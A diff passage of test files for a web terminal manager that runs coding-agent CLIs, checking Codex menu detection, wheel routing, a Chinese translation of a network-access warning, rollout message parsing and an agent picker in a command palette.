||||
];
|
||||
|
||||
describe('isCodexSelectionMenu on live captures', () => {
|
||||
const { windowRef } = load();
|
||||
const isMenu = (name: string) => windowRef.CodemanTerminalInput.isCodexSelectionMenu(terminalShowing(fixture(name)));
|
||||
|
||||
it.each(MENUS)('reads %s as a menu', (name) => {
|
||||
expect(isMenu(name), name).toBe(true);
|
||||
});
|
||||
|
||||
it.each(NOT_MENUS)('does not read %s as a menu', (name) => {
|
||||
expect(isMenu(name), name).toBe(false);
|
||||
});
|
||||
|
||||
it('still reads a narrow question whose option descriptions wrap over many rows', () => {
|
||||
// The selected option sat 16 rows up from the bottom at 36 columns; sentence-length descriptions on
|
||||
// a phone-width pane push it further, and an earlier row cap lost it (the menu was missed and the
|
||||
// wheel moved the selection again).
|
||||
const rows = fixture('question-w36.txt').split('\n');
|
||||
const at = rows.findIndex((row) => /^\s{0,2}› 1\./.test(row));
|
||||
expect(at).toBeGreaterThan(-1);
|
||||
rows.splice(at + 1, 0, ...Array.from({ length: 12 }, (_, i) => ` wrapped description row ${i + 1}`));
|
||||
const terminal = terminalShowing(rows.join('\n'), 60);
|
||||
expect(windowRef.CodemanTerminalInput.isCodexSelectionMenu(terminal)).toBe(true);
|
||||
});
|
||||
|
||||
it('is false for a terminal it cannot read', () => {
|
||||
expect(windowRef.CodemanTerminalInput.isCodexSelectionMenu(undefined)).toBe(false);
|
||||
expect(windowRef.CodemanTerminalInput.isCodexSelectionMenu({ rows: 10, buffer: { active: { baseY: 0 } } })).toBe(
|
||||
false
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe('the wheel over a Codex pane', () => {
|
||||
function codexPane(screen: string) {
|
||||
const { app } = load();
|
||||
const sent: string[] = [];
|
||||
app.activeSessionId = 'sess-1';
|
||||
app.sessions = new Map([['sess-1', { mode: 'codex', cliMouseTracking: false }]]);
|
||||
app._sendInputEphemeral = (_id: string, data: string) => sent.push(data);
|
||||
app.terminal = terminalShowing(screen);
|
||||
return { app, sent };
|
||||
}
|
||||
|
||||
it('sends no page key while the "Implement this plan?" menu is open, and consumes the wheel', () => {
|
||||
const { app, sent } = codexPane(fixture('implement-plan.txt'));
|
||||
for (const lines of [-30, 30, -30, 30]) expect(app._maybePageCliTranscript({ shiftKey: false }, lines)).toBe(true);
|
||||
app._flushWheelSgrQueue();
|
||||
expect(sent).toEqual([]);
|
||||
});
|
||||
|
||||
it('still pages the transcript from the composer', () => {
|
||||
const { app, sent } = codexPane(fixture('composer-typed.txt'));
|
||||
expect(app._maybePageCliTranscript({ shiftKey: false }, -30)).toBe(true);
|
||||
app._flushWheelSgrQueue();
|
||||
expect(sent).toEqual(['\x1b[5~']);
|
||||
});
|
||||
|
||||
it('only looks at Codex: another page-key CLI showing the same text is paged as before', () => {
|
||||
const { app, sent } = codexPane(fixture('implement-plan.txt'));
|
||||
app.sessions.set('sess-1', { mode: 'opencode' });
|
||||
app._maybePageCliTranscript({ shiftKey: false }, -30);
|
||||
app._flushWheelSgrQueue();
|
||||
expect(sent).toEqual(['\x1b[5~']);
|
||||
});
|
||||
});
|
||||
|
||||
describe('a tile asks the same question', () => {
|
||||
it('consumes the wheel for an open Codex menu in its own terminal and session', () => {
|
||||
const tile = readFileSync(resolve(publicDir, 'terminal-tile.js'), 'utf8');
|
||||
expect(tile).toContain('app._codexMenuOpen?.({ terminal: this.terminal, sessionId: this.sessionId })');
|
||||
const { app } = load();
|
||||
app.sessions = new Map([
|
||||
['active', { mode: 'claude' }],
|
||||
['tile', { mode: 'codex' }],
|
||||
]);
|
||||
app.terminal = terminalShowing(fixture('composer-typed.txt'));
|
||||
const tileTerminal = terminalShowing(fixture('implement-plan.txt'));
|
||||
// the tile's own terminal and session decide, not the active pane's
|
||||
expect(app._codexMenuOpen({ terminal: tileTerminal, sessionId: 'tile' })).toBe(true);
|
||||
expect(app._codexMenuOpen({ terminal: tileTerminal, sessionId: 'active' })).toBe(false);
|
||||
expect(app._codexMenuOpen()).toBe(false);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,68 @@
|
||||
/**
|
||||
* @fileoverview The Codex "Allow network access" row (App Settings → Codex) in Chinese (zh-CN).
|
||||
* That description is the only warning a user gets that the switch weakens Codex's sandbox, so
|
||||
* it must read in Chinese, through the real translator over the real index.html in JSDOM, with
|
||||
* no English left beyond product names and the `workspace-write` mode name, and each key must be
|
||||
* in the dictionary exactly once (a repeated key in the object literal silently replaces the
|
||||
* first).
|
||||
*
|
||||
* Port: N/A.
|
||||
*/
|
||||
import { readFileSync } from 'node:fs';
|
||||
import { resolve } from 'node:path';
|
||||
import vm from 'node:vm';
|
||||
import { JSDOM } from 'jsdom';
|
||||
import { afterAll, describe, expect, it } from 'vitest';
|
||||
|
||||
const PUBLIC = resolve(import.meta.dirname, '../src/web/public');
|
||||
const I18N = readFileSync(resolve(PUBLIC, 'i18n.js'), 'utf8');
|
||||
const INDEX = readFileSync(resolve(PUBLIC, 'index.html'), 'utf8');
|
||||
const ROW_INPUT = 'appSettingsCodexNetworkAccess';
|
||||
|
||||
type Api = { configure(o: Record<string, string>): void; start(): void };
|
||||
|
||||
/** What may stay Latin: the product names, the API acronym and codex's own sandbox mode name. */
|
||||
const leftover = (text: string) =>
|
||||
text.replace(/workspace-write|\b(Codex|Codeman|API)\b/g, '').match(/[A-Za-z]+/g) ?? [];
|
||||
|
||||
function rowStrings(doc: Document): { label: string; description: string } {
|
||||
const row = doc.getElementById(ROW_INPUT)!.closest('.set-row')!;
|
||||
return {
|
||||
label: row.querySelector('.set-row-label')!.textContent!.trim(),
|
||||
description: row.querySelector('.set-row-desc')!.textContent!.trim(),
|
||||
};
|
||||
}
|
||||
|
||||
const source = new JSDOM(INDEX);
|
||||
const dom = new JSDOM(INDEX, { runScripts: 'outside-only', url: 'http://localhost/' });
|
||||
vm.runInContext(I18N, dom.getInternalVMContext(), { filename: 'i18n.js' });
|
||||
const api = (dom.window as unknown as { CodemanI18n: Api }).CodemanI18n;
|
||||
api.start();
|
||||
api.configure({ language: 'zh-CN' });
|
||||
|
||||
afterAll(() => {
|
||||
source.window.close();
|
||||
dom.window.close();
|
||||
});
|
||||
|
||||
describe('the Allow network access row in zh-CN', () => {
|
||||
const english = rowStrings(source.window.document);
|
||||
const chinese = rowStrings(dom.window.document);
|
||||
|
||||
it.each(['label', 'description'] as const)('translates the %s, with no English left', (key) => {
|
||||
expect(english[key].length).toBeGreaterThan(0);
|
||||
expect(chinese[key]).not.toBe(english[key]);
|
||||
expect(leftover(chinese[key])).toEqual([]);
|
||||
});
|
||||
|
||||
it('keeps the warning that the setting is close to Bypass', () => {
|
||||
expect(chinese.description).toContain('绕过审批与沙箱');
|
||||
});
|
||||
|
||||
it('adds each key to the dictionary once', () => {
|
||||
for (const text of Object.values(english)) {
|
||||
const quoted = text.includes("'") ? JSON.stringify(text) : `'${text}'`;
|
||||
expect(I18N.split(`${quoted}:`).length - 1).toBe(1);
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,112 @@
|
||||
/**
|
||||
* @fileoverview The Codex rollout shape helpers shared by the Past Sessions
|
||||
* scanner (codex-transcript.ts) and the offline history reader
|
||||
* (local-history.ts): store location, message shapes and the injected-context
|
||||
* rule. Both readers' own tests cover their use of these; this pins the shared
|
||||
* contract itself.
|
||||
*/
|
||||
import { afterEach, describe, expect, it } from 'vitest';
|
||||
import { join } from 'node:path';
|
||||
import {
|
||||
codexContentText,
|
||||
codexHomeDir,
|
||||
codexMessageFromLine,
|
||||
codexSessionsRoot,
|
||||
isCodexInjectedContext,
|
||||
} from '../src/codex-rollout-format.js';
|
||||
|
||||
const savedHome = process.env.CODEX_HOME;
|
||||
afterEach(() => {
|
||||
if (savedHome === undefined) delete process.env.CODEX_HOME;
|
||||
else process.env.CODEX_HOME = savedHome;
|
||||
});
|
||||
|
||||
describe('codex rollout format', () => {
|
||||
it('resolves the store from CODEX_HOME, else ~/.codex', () => {
|
||||
process.env.CODEX_HOME = '/custom/codex';
|
||||
expect(codexHomeDir()).toBe('/custom/codex');
|
||||
expect(codexSessionsRoot()).toBe(join('/custom/codex', 'sessions'));
|
||||
process.env.CODEX_HOME = '';
|
||||
expect(codexSessionsRoot()).toBe(join(process.env.HOME!, '.codex', 'sessions'));
|
||||
});
|
||||
|
||||
it('reads all three message shapes with their role, shape and phase', () => {
|
||||
expect(codexMessageFromLine({ type: 'event_msg', payload: { type: 'user_message', message: 'hi' } })).toEqual({
|
||||
role: 'user',
|
||||
text: 'hi',
|
||||
shape: 'event',
|
||||
phase: undefined,
|
||||
injectionProne: false,
|
||||
});
|
||||
expect(
|
||||
codexMessageFromLine({
|
||||
type: 'event_msg',
|
||||
payload: { type: 'agent_message', message: 'ok', phase: 'commentary' },
|
||||
})
|
||||
).toMatchObject({ role: 'assistant', shape: 'event', phase: 'commentary', injectionProne: false });
|
||||
expect(
|
||||
codexMessageFromLine({
|
||||
type: 'event_msg',
|
||||
payload: {
|
||||
type: 'item_completed',
|
||||
item: { type: 'AgentMessage', phase: 'final_answer', content: [{ type: 'Text', text: 'done' }] },
|
||||
},
|
||||
})
|
||||
).toMatchObject({ role: 'assistant', text: 'done', shape: 'item', phase: 'final_answer' });
|
||||
expect(
|
||||
codexMessageFromLine({
|
||||
type: 'response_item',
|
||||
payload: { type: 'message', role: 'user', content: [{ type: 'input_text', text: 'typed' }] },
|
||||
})
|
||||
).toMatchObject({ role: 'user', text: 'typed', shape: 'response', injectionProne: true });
|
||||
expect(
|
||||
codexMessageFromLine({
|
||||
type: 'response_item',
|
||||
payload: { type: 'message', role: 'assistant', content: [{ type: 'output_text', text: 'a' }] },
|
||||
})
|
||||
).toMatchObject({ role: 'assistant', shape: 'response', injectionProne: false });
|
||||
});
|
||||
|
||||
it('ignores every other line, empty text and malformed input', () => {
|
||||
for (const value of [
|
||||
null,
|
||||
42,
|
||||
'text',
|
||||
[],
|
||||
{ type: 'session_meta', payload: { id: 'x' } },
|
||||
{ type: 'response_item', payload: { type: 'message', role: 'developer', content: 'policy' } },
|
||||
{ type: 'response_item', payload: { type: 'reasoning', summary: [] } },
|
||||
{ type: 'event_msg', payload: { type: 'user_message', message: '' } },
|
||||
{ type: 'event_msg', payload: { type: 'item_completed', item: { type: 'CommandExecution' } } },
|
||||
])
|
||||
expect(codexMessageFromLine(value)).toBeNull();
|
||||
});
|
||||
|
||||
it('flattens only blocks that carry text', () => {
|
||||
expect(codexContentText('plain')).toBe('plain');
|
||||
expect(
|
||||
codexContentText([
|
||||
{ type: 'input_text', text: 'a' },
|
||||
{ type: 'input_image', image_url: 'x' },
|
||||
{ text: 'b' },
|
||||
null,
|
||||
])
|
||||
).toBe('a\nb');
|
||||
expect(codexContentText(undefined)).toBe('');
|
||||
});
|
||||
|
||||
it('treats a heading or a tag as injected context, wherever the wrapper name is new', () => {
|
||||
for (const text of [
|
||||
'# AGENTS.md instructions for /repo',
|
||||
'<environment_context>',
|
||||
'<recommended_plugins>',
|
||||
'<subagent_notification>',
|
||||
'<codex_internal_context source="goal">',
|
||||
'<image name=[Image #1]>',
|
||||
' <turn_aborted>',
|
||||
])
|
||||
expect(isCodexInjectedContext(text)).toBe(true);
|
||||
for (const text of ['fix the bug', 'You are a reviewer', '$skill run', 'a <b> tag later'])
|
||||
expect(isCodexInjectedContext(text)).toBe(false);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,82 @@
|
||||
import { afterAll, beforeAll, describe, expect, it } from 'vitest';
|
||||
import { chromium, type Browser } from 'playwright';
|
||||
import { WebServer } from '../src/web/server.js';
|
||||
|
||||
// Adversarial browser layout fixture, not evidence of native Codex history:
|
||||
// authentic CLI behavior is measured separately in an isolated live pane.
|
||||
describe('tracked Codex wheel routing in the primary pane', () => {
|
||||
let server: WebServer;
|
||||
let browser: Browser;
|
||||
beforeAll(async () => {
|
||||
server = new WebServer(0, false, true);
|
||||
await server.start();
|
||||
browser = await chromium.launch({ headless: true });
|
||||
}, 60000);
|
||||
afterAll(async () => {
|
||||
await browser?.close();
|
||||
await server?.stop();
|
||||
});
|
||||
|
||||
it('sends plain wheel to the CLI rather than scrolling stale repaint frames', async () => {
|
||||
const page = await browser.newPage({ viewport: { width: 1200, height: 800 } });
|
||||
try {
|
||||
await page.goto(`http://127.0.0.1:${server.boundPort}`, { waitUntil: 'domcontentloaded' });
|
||||
await page.waitForFunction(() => (window as any).app?.terminal);
|
||||
await page.waitForTimeout(3500);
|
||||
await page.evaluate(async () => {
|
||||
const app = (window as any).app;
|
||||
app.activeSessionId = 'codex-wheel-probe';
|
||||
app.sessions.set(app.activeSessionId, { id: app.activeSessionId, mode: 'codex', cliMouseTracking: true });
|
||||
(window as any).scrollInputs = [];
|
||||
// Cell hit testing is irrelevant to routing; the empty dashboard covers the test terminal.
|
||||
app._clientPointToCell = () => ({ col: 1, row: 1 });
|
||||
app._sendInputEphemeral = (id: string, data: string) => (window as any).scrollInputs.push({ id, data });
|
||||
app.loadAppSettingsFromStorage = () => ({ terminalWheelLocalScrollback: false });
|
||||
await new Promise<void>((resolve) => app.terminal.write('\r\nold repaint row'.repeat(100), resolve));
|
||||
app.terminal.scrollToTop();
|
||||
});
|
||||
const fire = (shiftKey = false) =>
|
||||
page.evaluate((shiftKey) => {
|
||||
const t = (window as any).app.terminal;
|
||||
t.element.dispatchEvent(new WheelEvent('wheel', { deltaY: -100, shiftKey, bubbles: true, cancelable: true }));
|
||||
}, shiftKey);
|
||||
await fire();
|
||||
await page.waitForTimeout(150);
|
||||
const forwarded = await page.evaluate(() => {
|
||||
const app = (window as any).app;
|
||||
return {
|
||||
inputs: (window as any).scrollInputs,
|
||||
baseY: app.terminal.buffer.active.baseY,
|
||||
viewportY: app.terminal.buffer.active.viewportY,
|
||||
};
|
||||
});
|
||||
expect(forwarded.inputs.length).toBeGreaterThan(0);
|
||||
expect(forwarded.inputs.every((i: { id: string }) => i.id === 'codex-wheel-probe')).toBe(true);
|
||||
expect(
|
||||
forwarded.inputs
|
||||
.map((i: { data: string }) => i.data)
|
||||
.join('')
|
||||
.match(/\x1b\[<64;/g)
|
||||
).toHaveLength(4);
|
||||
expect(forwarded.viewportY).toBe(forwarded.baseY);
|
||||
for (const shift of [false, true]) {
|
||||
await page.evaluate((tracked) => {
|
||||
const app = (window as any).app;
|
||||
app.sessions.get(app.activeSessionId).cliMouseTracking = tracked;
|
||||
app.terminal.scrollToBottom();
|
||||
(window as any).scrollInputs = [];
|
||||
}, shift);
|
||||
await fire(shift);
|
||||
await page.waitForTimeout(150);
|
||||
const local = await page.evaluate(() => {
|
||||
const b = (window as any).app.terminal.buffer.active;
|
||||
return { inputs: (window as any).scrollInputs, baseY: b.baseY, viewportY: b.viewportY };
|
||||
});
|
||||
expect(local.inputs).toEqual([]);
|
||||
expect(local.viewportY).toBeLessThan(local.baseY);
|
||||
}
|
||||
} finally {
|
||||
await page.close();
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,86 @@
|
||||
import { afterAll, beforeAll, describe, expect, it } from 'vitest';
|
||||
import { chromium, type Browser } from 'playwright';
|
||||
import { WebServer } from '../src/web/server.js';
|
||||
|
||||
describe('Command-K agent arrow keys in Chromium', () => {
|
||||
let server: WebServer;
|
||||
let browser: Browser;
|
||||
beforeAll(async () => {
|
||||
server = new WebServer(0, false, true);
|
||||
await server.start();
|
||||
browser = await chromium.launch({ headless: true });
|
||||
}, 60000);
|
||||
afterAll(async () => {
|
||||
await browser?.close();
|
||||
await server?.stop();
|
||||
});
|
||||
|
||||
it('cycles both directions at query boundaries while preserving text editing and selection', async () => {
|
||||
const page = await browser.newPage({ viewport: { width: 1400, height: 900 } });
|
||||
const errors: string[] = [];
|
||||
page.on('pageerror', (e) => errors.push(e.message));
|
||||
try {
|
||||
await page.goto(`http://127.0.0.1:${server.boundPort}`, { waitUntil: 'domcontentloaded' });
|
||||
await page.waitForFunction(() => (window as any).app?.openCommandPalette);
|
||||
await page.waitForTimeout(3500);
|
||||
await page.evaluate(() => {
|
||||
const a = (window as any).app;
|
||||
a.cases = [{ name: 'buildmesh', path: '/fixture/buildmesh' }];
|
||||
a.sessions = new Map();
|
||||
a.sessionOrder = [];
|
||||
a._runMode = 'codex';
|
||||
(window as any).__codemanCliCatalog = [
|
||||
{ id: 'claude', label: 'Claude', enabled: true, kind: 'agent' },
|
||||
{ id: 'codex', label: 'Codex', enabled: true, kind: 'agent' },
|
||||
{ id: 'shell', label: 'Shell', enabled: true, kind: 'shell' },
|
||||
];
|
||||
a._runModeAvailableForCase = () => true;
|
||||
a._sendInputEphemeral = () => {
|
||||
throw new Error('Palette leaked terminal input');
|
||||
};
|
||||
a.run = () => {
|
||||
throw new Error('Arrow key launched a session');
|
||||
};
|
||||
});
|
||||
await page.keyboard.press('Control+k');
|
||||
await page.locator('#commandPaletteModal.active').waitFor();
|
||||
const input = page.locator('#commandPaletteSearch');
|
||||
await input.fill('buildmesh');
|
||||
const label = page.locator('.command-palette-agent-label');
|
||||
expect(await label.innerText()).toBe('Codex');
|
||||
await page.keyboard.press('ArrowLeft');
|
||||
expect(await label.innerText()).toBe('Claude');
|
||||
await page.keyboard.press('ArrowRight');
|
||||
expect(await label.innerText()).toBe('Codex');
|
||||
expect(await input.inputValue()).toBe('buildmesh');
|
||||
expect(await input.evaluate((e: HTMLInputElement) => e.selectionStart)).toBe(9);
|
||||
await page.keyboard.press('Home');
|
||||
await page.keyboard.press('ArrowRight');
|
||||
expect(await label.innerText()).toBe('Shell');
|
||||
await page.keyboard.press('ArrowLeft');
|
||||
expect(await label.innerText()).toBe('Codex');
|
||||
await input.evaluate((e: HTMLInputElement) => e.setSelectionRange(4, 4));
|
||||
await page.keyboard.press('ArrowLeft');
|
||||
expect(await input.evaluate((e: HTMLInputElement) => e.selectionStart)).toBe(3);
|
||||
await page.keyboard.press('ArrowRight');
|
||||
expect(await input.evaluate((e: HTMLInputElement) => e.selectionStart)).toBe(4);
|
||||
await page.keyboard.press('Shift+End');
|
||||
await page.keyboard.press('ArrowLeft');
|
||||
expect(await label.innerText()).toBe('Codex');
|
||||
await page.keyboard.press('ArrowDown');
|
||||
expect(
|
||||
await page.evaluate(
|
||||
() => (window as any).app.commandPaletteItems[(window as any).app.commandPaletteActiveIndex].type
|
||||
)
|
||||
).toBe('browse-sessions');
|
||||
await page.keyboard.press('End');
|
||||
await page.keyboard.press('ArrowLeft');
|
||||
expect(await label.innerText()).toBe('Codex');
|
||||
await page.keyboard.press('Escape');
|
||||
expect(await page.locator('#commandPaletteModal').evaluate((e) => e.classList.contains('active'))).toBe(false);
|
||||
expect(errors).toEqual([]);
|
||||
} finally {
|
||||
await page.close();
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -3,7 +3,7 @@ import { resolve } from 'node:path';
|
||||
import vm from 'node:vm';
|
||||
import { describe, expect, it, vi } from 'vitest';
|
||||
|
||||
function loadPaletteHarness(overrides: Record<string, any> = {}) {
|
||||
function loadPaletteHarness(overrides: Record<string, any> = {}, { sessionUi = false } = {}) {
|
||||
const elements: Record<string, any> = {};
|
||||
const listeners: Record<string, (event: any) => void> = {};
|
||||
const CodemanApp = function CodemanApp(this: any) {};
|
||||
@@ -70,6 +70,12 @@ function loadPaletteHarness(overrides: Record<string, any> = {}) {
|
||||
|
||||
const panelsUi = readFileSync(resolve(import.meta.dirname, '../src/web/public/panels-ui.js'), 'utf8');
|
||||
vm.runInContext(panelsUi, context, { filename: 'panels-ui.js' });
|
||||
// session-ui.js loads after panels-ui.js in index.html. Opt-in: it also brings
|
||||
// the real selectQuickStartCase, which the case-pick tests above stub around.
|
||||
if (sessionUi) {
|
||||
const sessionUiSrc = readFileSync(resolve(import.meta.dirname, '../src/web/public/session-ui.js'), 'utf8');
|
||||
vm.runInContext(sessionUiSrc, context, { filename: 'session-ui.js' });
|
||||
}
|
||||
|
||||
const app = new (CodemanApp as any)();
|
||||
app.sessions = new Map([
|
||||
@@ -341,6 +347,358 @@ describe('Command-K session palette', () => {
|
||||
});
|
||||
});
|
||||
|
||||
const PALETTE_CATALOG = [
|
||||
{ id: 'claude', label: 'Claude Code', kind: 'agent', enabled: true },
|
||||
{ id: 'shell', label: 'Shell', kind: 'shell', enabled: true },
|
||||
{ id: 'codex', label: 'Codex', kind: 'agent', enabled: true },
|
||||
{ id: 'opencode', label: 'OpenCode', kind: 'agent', enabled: true },
|
||||
{ id: 'gemini', label: 'Gemini', kind: 'agent', enabled: false },
|
||||
];
|
||||
|
||||
/** A palette whose agent list comes from the injected CLI catalog, codex not installed. */
|
||||
function loadAgentPalette(catalog: any[] = PALETTE_CATALOG, options: { sessionUi?: boolean } = {}) {
|
||||
const available: Record<string, boolean> = { claude: true, shell: true, codex: false, opencode: true, gemini: true };
|
||||
const harness = loadPaletteHarness(
|
||||
{ window: { __codemanCliCatalog: catalog, __codemanCliAvailable: available } },
|
||||
options
|
||||
);
|
||||
// Mirrors settings-ui.js isCliAvailable(): unknown reads as available.
|
||||
harness.app.isCliAvailable = (id: string) => available[id] !== false;
|
||||
harness.app._runMode = 'claude';
|
||||
return harness;
|
||||
}
|
||||
|
||||
function arrow(key: 'ArrowLeft' | 'ArrowRight', caret: number, value = '') {
|
||||
return {
|
||||
key,
|
||||
preventDefault: vi.fn(),
|
||||
stopPropagation: vi.fn(),
|
||||
target: { value, selectionStart: caret, selectionEnd: caret },
|
||||
};
|
||||
}
|
||||
|
||||
describe('Command-K new-session agent picker', () => {
|
||||
it('offers the enabled, installed CLIs from the registry catalog, in catalog order', () => {
|
||||
const { app } = loadAgentPalette();
|
||||
|
||||
expect(app._commandPaletteAgentChoices().map((c: any) => c.id)).toEqual(['claude', 'shell', 'opencode']);
|
||||
});
|
||||
|
||||
it('starts on the Run button mode and labels the row from the catalog', () => {
|
||||
const { app, elements } = loadAgentPalette();
|
||||
app._runMode = 'opencode';
|
||||
|
||||
app.openCommandPalette();
|
||||
const item = app.buildCommandPaletteItems('flux').find((i: any) => i.type === 'new-session');
|
||||
|
||||
expect(item).toMatchObject({ mode: 'opencode', subtitle: 'Run OpenCode in flux-player' });
|
||||
expect(elements.commandPaletteList.innerHTML).toContain('data-palette-agent-cycle="next"');
|
||||
expect(elements.commandPaletteList.innerHTML).toContain('run-mode-dot opencode');
|
||||
});
|
||||
|
||||
it('keeps the switch out of the row button accessible name and gives its tooltip a zh-CN entry', () => {
|
||||
const { app, elements } = loadAgentPalette();
|
||||
app.openCommandPalette();
|
||||
const html = elements.commandPaletteList.innerHTML;
|
||||
const title = 'Agent for the new session (Left/Right to change)';
|
||||
|
||||
// No nested buttons inside the row's <button>: the subtitle names the agent.
|
||||
expect(html).toContain(`class="command-palette-agent" aria-hidden="true" title="${title}"`);
|
||||
expect(html).not.toContain('role="button"');
|
||||
expect(html).not.toContain('aria-label=');
|
||||
const i18n = readFileSync(resolve(import.meta.dirname, '../src/web/public/i18n.js'), 'utf8');
|
||||
expect(i18n.split(`'${title}':`).length - 1).toBe(1);
|
||||
});
|
||||
|
||||
it('falls back to the first offered agent when the Run button mode is not offered', () => {
|
||||
const { app } = loadAgentPalette();
|
||||
app._runMode = 'codex'; // not installed
|
||||
|
||||
app.openCommandPalette();
|
||||
|
||||
expect(app.buildCommandPaletteItems('').find((i: any) => i.type === 'new-session').mode).toBe('claude');
|
||||
});
|
||||
|
||||
it('cycles the agent with Right/Left on the new-session row, wrapping', async () => {
|
||||
const { app, listeners, elements } = loadAgentPalette();
|
||||
app.openCommandPalette();
|
||||
elements.commandPaletteSearch.value = 'nomatch';
|
||||
app.renderCommandPalette();
|
||||
expect(app.commandPaletteItems[app.commandPaletteActiveIndex].type).toBe('new-session');
|
||||
|
||||
const right = arrow('ArrowRight', 7, 'nomatch');
|
||||
await listeners['search:keydown'](right);
|
||||
expect(right.preventDefault).toHaveBeenCalled();
|
||||
expect(app.commandPaletteItems[app.commandPaletteActiveIndex]).toMatchObject({ mode: 'shell' });
|
||||
expect(elements.commandPaletteList.innerHTML).toContain('Run Shell in');
|
||||
|
||||
await listeners['search:keydown'](arrow('ArrowLeft', 0, 'nomatch'));
|
||||
await listeners['search:keydown'](arrow('ArrowLeft', 0, 'nomatch'));
|
||||
expect(app.commandPaletteItems[app.commandPaletteActiveIndex]).toMatchObject({ mode: 'opencode' });
|
||||
});
|
||||
|
||||
it('cycles both ways at the end of a typed case query without moving its caret', async () => {
|
||||
const { app, listeners, elements } = loadAgentPalette();
|
||||
app.openCommandPalette();
|
||||
elements.commandPaletteSearch.value = 'nomatch';
|
||||
app.renderCommandPalette();
|
||||
const left = arrow('ArrowLeft', 7, 'nomatch');
|
||||
await listeners['search:keydown'](left);
|
||||
expect(left.preventDefault).toHaveBeenCalled();
|
||||
expect(app.commandPaletteItems[app.commandPaletteActiveIndex].mode).toBe('opencode');
|
||||
const right = arrow('ArrowRight', 7, 'nomatch');
|
||||
await listeners['search:keydown'](right);
|
||||
expect(right.preventDefault).toHaveBeenCalled();
|
||||
expect(app.commandPaletteItems[app.commandPaletteActiveIndex].mode).toBe('claude');
|
||||
});
|
||||
|
||||
it('leaves Left/Right to the caret inside the query', async () => {
|
||||
const { app, listeners, elements } = loadAgentPalette();
|
||||
app.openCommandPalette();
|
||||
elements.commandPaletteSearch.value = 'nomatch';
|
||||
app.renderCommandPalette();
|
||||
|
||||
const left = arrow('ArrowLeft', 3, 'nomatch');
|
||||
const right = arrow('ArrowRight', 3, 'nomatch');
|
||||
await listeners['search:keydown'](left);
|
||||
await listeners['search:keydown'](right);
|
||||
|
||||
expect(left.preventDefault).not.toHaveBeenCalled();
|
||||
expect(right.preventDefault).not.toHaveBeenCalled();
|
||||
expect(app.commandPaletteItems[app.commandPaletteActiveIndex].mode).toBe('claude');
|
||||
});
|
||||
|
||||
it.each(['altKey', 'ctrlKey', 'metaKey', 'shiftKey'])(
|
||||
'preserves %s arrow editing at query boundaries',
|
||||
async (modifier) => {
|
||||
const { app, listeners, elements } = loadAgentPalette();
|
||||
app.openCommandPalette();
|
||||
elements.commandPaletteSearch.value = 'nomatch';
|
||||
app.renderCommandPalette();
|
||||
const event = { ...arrow('ArrowLeft', 7, 'nomatch'), [modifier]: true };
|
||||
await listeners['search:keydown'](event);
|
||||
expect(event.preventDefault).not.toHaveBeenCalled();
|
||||
expect(app.commandPaletteItems[app.commandPaletteActiveIndex].mode).toBe('claude');
|
||||
}
|
||||
);
|
||||
|
||||
it('does not cycle while a session row is highlighted', async () => {
|
||||
const { app, listeners } = loadAgentPalette();
|
||||
app.openCommandPalette();
|
||||
expect(app.commandPaletteItems[0].type).toBe('session');
|
||||
|
||||
const right = arrow('ArrowRight', 0);
|
||||
await listeners['search:keydown'](right);
|
||||
|
||||
expect(right.preventDefault).not.toHaveBeenCalled();
|
||||
expect(app.buildCommandPaletteItems('').find((i: any) => i.type === 'new-session').mode).toBe('claude');
|
||||
});
|
||||
|
||||
it('cycles from the row arrows without launching', async () => {
|
||||
const { app, listeners } = loadAgentPalette();
|
||||
app.openCommandPalette();
|
||||
const cycle = { dataset: { paletteAgentCycle: 'next' } };
|
||||
const event = {
|
||||
preventDefault: vi.fn(),
|
||||
stopPropagation: vi.fn(),
|
||||
target: { closest: (sel: string) => (sel === '[data-palette-agent-cycle]' ? cycle : null) },
|
||||
};
|
||||
|
||||
listeners['list:click'](event);
|
||||
|
||||
expect(app.run).not.toHaveBeenCalled();
|
||||
expect(app.buildCommandPaletteItems('').find((i: any) => i.type === 'new-session').mode).toBe('shell');
|
||||
});
|
||||
|
||||
it('launches the chosen agent once, without changing the Run button mode', async () => {
|
||||
const { app } = loadAgentPalette();
|
||||
app.setRunMode = vi.fn();
|
||||
let modeDuringRun: string | undefined;
|
||||
app.run = vi.fn(async () => {
|
||||
modeDuringRun = app._runMode;
|
||||
});
|
||||
app.openCommandPalette();
|
||||
app._cycleCommandPaletteAgent(2); // claude -> shell -> opencode
|
||||
|
||||
app.commandPaletteItems = app.buildCommandPaletteItems('nomatch');
|
||||
app.commandPaletteActiveIndex = 0;
|
||||
await app.activateCommandPaletteItem();
|
||||
|
||||
expect(app.run).toHaveBeenCalledTimes(1);
|
||||
expect(modeDuringRun).toBe('opencode');
|
||||
expect(app._runMode).toBe('claude');
|
||||
expect(app.setRunMode).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('restores the Run button mode even when the launch throws', async () => {
|
||||
const { app } = loadAgentPalette();
|
||||
app.run = vi.fn(async () => {
|
||||
throw new Error('boom');
|
||||
});
|
||||
app.openCommandPalette();
|
||||
app._cycleCommandPaletteAgent(1);
|
||||
app.commandPaletteItems = app.buildCommandPaletteItems('nomatch');
|
||||
app.commandPaletteActiveIndex = 0;
|
||||
|
||||
await expect(app.activateCommandPaletteItem()).rejects.toThrow('boom');
|
||||
expect(app._runMode).toBe('claude');
|
||||
});
|
||||
|
||||
it('draws no picker when only one agent is offered', () => {
|
||||
const { app, elements } = loadAgentPalette([{ id: 'claude', label: 'Claude Code', kind: 'agent', enabled: true }]);
|
||||
|
||||
app.openCommandPalette();
|
||||
|
||||
expect(elements.commandPaletteList.innerHTML).not.toContain('data-palette-agent-cycle');
|
||||
});
|
||||
|
||||
it('keeps the Run button mode when a single other agent is offered', async () => {
|
||||
// Only Shell is offered while the Run button names claude: with nothing to
|
||||
// pick between, the row keeps the Run button's mode, as before the picker
|
||||
// existed, so run() answers a missing claude with its install hint instead
|
||||
// of the palette silently starting Shell.
|
||||
const { app, elements } = loadAgentPalette(PALETTE_CATALOG.slice(0, 2));
|
||||
app.isCliAvailable = (id: string) => id !== 'claude';
|
||||
let modeDuringRun: string | undefined;
|
||||
app.run = vi.fn(async () => {
|
||||
modeDuringRun = app._runMode;
|
||||
});
|
||||
|
||||
